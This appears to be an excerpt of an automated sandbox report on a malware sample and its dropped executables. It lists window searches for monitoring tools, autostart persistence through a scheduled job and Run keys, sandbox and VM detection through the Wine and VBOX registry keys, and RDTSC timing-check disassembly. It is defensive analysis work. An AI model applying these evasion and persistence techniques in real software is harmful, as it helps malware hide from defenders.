Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Creates job files (autostart)

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ffb915ad7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2ffb915ad7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cfbb3a6fb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3cfbb3a6fb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03A8B second address: B03A9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8AA8B7BB92h 0x0000000c ja 00007F8AA8B7BB86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03F6E second address: B03F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B03F72 second address: B03F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0420E second address: B04214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04214 second address: B04218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF470E second address: AF4712 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B070B3 second address: B07108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnp 00007F8AA8B7BB88h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jg 00007F8AA8B7BB9Eh 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jc 00007F8AA8B7BB96h 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jl 00007F8AA8B7BB86h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07108 second address: B0711F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07175 second address: B071FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F8AA8B7BB88h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov ecx, dword ptr [ebp+122D3AB0h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F8AA8B7BB88h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 00000018h 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 sbb edx, 3FA94F92h 0x0000004b add dword ptr [ebp+122D1DC3h], edx 0x00000051 call 00007F8AA8B7BB89h 0x00000056 pushad 0x00000057 jmp 00007F8AA8B7BB97h 0x0000005c jo 00007F8AA8B7BB8Ch 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B071FE second address: B07209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07209 second address: B0720D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B072FC second address: B07301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B073E9 second address: B07424 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8B7BB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AA8B7BB8Dh 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F8AA8B7BB8Bh 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07424 second address: B07450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 or edi, dword ptr [ebp+122D395Ch] 0x0000000e push 00000000h 0x00000010 mov ecx, dword ptr [ebp+122D39F8h] 0x00000016 push B0C152DAh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8AA8C154CFh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07450 second address: B074C7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AA8B7BB8Ch 0x00000008 jo 00007F8AA8B7BB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 4F3EADA6h 0x00000017 jmp 00007F8AA8B7BB8Ch 0x0000001c push 00000003h 0x0000001e call 00007F8AA8B7BB94h 0x00000023 mov edx, dword ptr [ebp+122D39A4h] 0x00000029 pop edx 0x0000002a push 00000000h 0x0000002c movsx edx, ax 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push edi 0x00000034 call 00007F8AA8B7BB88h 0x00000039 pop edi 0x0000003a mov dword ptr [esp+04h], edi 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edi 0x00000047 push edi 0x00000048 ret 0x00000049 pop edi 0x0000004a ret 0x0000004b xor dword ptr [ebp+122D25EAh], esi 0x00000051 push B6E6AA02h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jnc 00007F8AA8B7BB86h 0x0000005f rdtsc
